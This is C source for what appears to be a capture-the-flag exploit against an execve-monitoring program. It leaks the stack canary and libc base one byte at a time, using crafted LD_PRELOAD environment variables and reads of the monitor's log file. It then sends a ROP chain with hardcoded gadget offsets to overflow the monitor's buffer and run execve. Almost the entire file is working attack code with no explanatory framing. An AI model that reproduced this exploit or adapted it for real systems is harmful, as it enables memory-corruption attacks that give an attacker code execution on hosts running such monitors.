#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

char *spl_argv[] = {"nonexistent", NULL};

#define BUFFER_SIZE 4096
#define TARGET "LD_PRELOAD="
#define TARGET_LEN 11

uint8_t search_byte() {
	 FILE *fp = fopen("/var/log/execve_monitor.log", "rb");
	 if (!fp) {
        	perror("Failed to open file");
        return 1;
    	}
	     char buffer[BUFFER_SIZE + TARGET_LEN]; // for overlap handling
    size_t bytes_read;
    long offset = 0;
    long last_found = -1;

    // Initialize buffer prefix for overlap (set to 0s)
    memset(buffer, 0, TARGET_LEN);

    while ((bytes_read = fread(buffer + TARGET_LEN, 1, BUFFER_SIZE, fp)) > 0) {
        for (size_t i = 0; i < bytes_read; i++) {
            if (memcmp(buffer + i, TARGET, TARGET_LEN) == 0) {
                last_found = offset + i - TARGET_LEN;
            }
        }

        // Move last TARGET_LEN bytes to the beginning for overlap in next chunk
        memcpy(buffer, buffer + BUFFER_SIZE, TARGET_LEN);
        offset += bytes_read;
    }

    long read_offset = last_found +TARGET_LEN + 1;
    if (fseek(fp, read_offset, SEEK_SET) != 0) {
        perror("fseek failed");
        fclose(fp);
        return 1;
    }

    int c = fgetc(fp);
    //printf("Found byte: %02x\n", c);

    fclose(fp);
    return c;
}

uint8_t leak_offset(size_t offset) {
	char *spl_envp[3];

	offset = offset - 13;

	char env0[offset];
	for(int i = 0; i < offset; ++i) {
		env0[i]='A';
	}
	env0[offset] = '\0';
		
	spl_envp[0] = env0;
	spl_envp[1] = "MEOW";
	spl_envp[2] = NULL;

	execve(spl_argv[0], NULL, spl_envp);

	spl_envp[0] = "LD_PRELOAD=";
	spl_envp[1] = NULL;

	execve(spl_argv[0], NULL, spl_envp);
	sleep(0.2);
	return search_byte();
}

void pwn(uint64_t canary, uint64_t libc) {
	char *spl_envp[128];
	char *two_zeroes = "\0";

	// Canary preparations
	uint8_t canary_bytes[9];
	uint8_t canary_single_byte[2] = {0};

	for (int i = 7; i >= 0; i--) {
        	canary_bytes[i] = (canary >> (8 * i)) & 0xFF;
    	}
	canary_bytes[8] = '\0';
	
	canary_single_byte[0] = canary_bytes[0];
	// END: Canary preparations
	
	// Fillers
	int filler0_len = 8200 - 12 - 12;
	char filler0[filler0_len];

	int filler1_len = 24 - 8 - 1 - 1;
	char filler1[filler1_len];

	for (int i = 0; i < filler0_len; ++i) {
		filler0[i] = 'A';
	}
	filler0[filler0_len-1] = '\0';
	
	for (int i = 0; i < filler1_len; ++i) {
		filler1[i] = 'A';
	}
	filler1[filler1_len-1] = '\0';
	// END: Fillers

	// ROP Gadgets
		// pop rdi; ret
	uint64_t pop_rdi = libc + 0x1429c;
	uint8_t pop_rdi_bytes[7];
	pop_rdi_bytes[6] = '\0';

		// tmp path: /tmp/buildroot-2025.02/monitor
	uint64_t tmp_path = 0x40334c;
	uint8_t tmp_path_bytes[4];
	tmp_path_bytes[3] = '\0';

		// execve
	//uint64_t libc_exit = libc + 0x14090;  //exit
	uint64_t libc_exit = libc + 0x4CD20;  //execve
	uint8_t libc_exit_bytes[7];
	libc_exit_bytes[6] = '\0';

		// puts
	uint64_t libc_puts = libc + 0x5E340;
	uint8_t libc_puts_bytes[7];
	libc_puts_bytes[6] = '\0';
    	
    	for (int i = 5; i >= 0; i--) {
        	libc_exit_bytes[i] = (libc_exit >> (8 * i)) & 0xFF;
    	}
    	for (int i = 5; i >= 0; i--) {
        	libc_puts_bytes[i] = (libc_puts >> (8 * i)) & 0xFF;
    	}
    	for (int i = 5; i >= 0; i--) {
        	pop_rdi_bytes[i] = (pop_rdi >> (8 * i)) & 0xFF;
    	}
    	for (int i = 2; i >= 0; i--) {
        	tmp_path_bytes[i] = (tmp_path >> (8 * i)) & 0xFF;
    	}
	// END: ROP Gadgets

	// Exploitation

	spl_envp[0] = "LD_PRELOAD=";
	spl_envp[1] = filler0;
	spl_envp[2] = canary_single_byte;
	spl_envp[3] = &canary_bytes[2];
	spl_envp[4] = filler1;
	spl_envp[5] = two_zeroes;
	spl_envp[6] = pop_rdi_bytes;
		
	// ROP start
	// pop rdi
	spl_envp[7] = two_zeroes;
	spl_envp[8] = pop_rdi_bytes;

	// tmp path
	spl_envp[9] = two_zeroes;
	spl_envp[10] = tmp_path_bytes;
	spl_envp[11] = two_zeroes;
	spl_envp[12] = two_zeroes;
	spl_envp[13] = two_zeroes;

	// puts
	//spl_envp[14] = two_zeroes;
	//spl_envp[15] = libc_puts_bytes;
	//spl_envp[16] = NULL;
	
	// execve
	spl_envp[14] = two_zeroes;
	spl_envp[15] = libc_exit_bytes;
	spl_envp[16] = NULL;

	execve(spl_argv[0], NULL, spl_envp);
}

uint64_t leak_libc() {
	uint8_t libc_bytes[6] = {0};
	uint64_t libc_addr = 0;
	uint8_t byte;

	for (int i = 0; i < 6; i++) {
		byte = leak_offset(8200 + 0xa0 + i);	
		libc_bytes[i] = byte == 0x0A ? 0x00 : byte;
    	}
	for (int i = 0; i < 6; i++) {
        	libc_addr |= ((uint64_t)libc_bytes[i] << (8 * i));
    	}
	printf("libc+__libc_start_main_ret: 0x%08llx\n", libc_addr);
	libc_addr -= 0x1E41B;
	printf("libc: 0x%08llx\n", libc_addr);
	return libc_addr;
}

uint64_t leak_canary() {
	uint8_t canary_bytes[8] = {0};
	uint64_t canary = 0;
	uint8_t byte;

	for (int i = 0; i < 8; i++) {
		byte = leak_offset(8200 + i);
		canary_bytes[i] = byte == 0x0A ? 0x00 : byte;
    	}
	for (int i = 0; i < 8; i++) {
        	canary |= ((uint64_t)canary_bytes[i] << (8 * i));
    	}
	printf("canary: 0x%08llx\n", canary);
	return canary;
}

int main(int argc) {
	uint64_t libc = leak_libc();
	uint64_t canary = leak_canary();
	pwn(canary, libc);
}
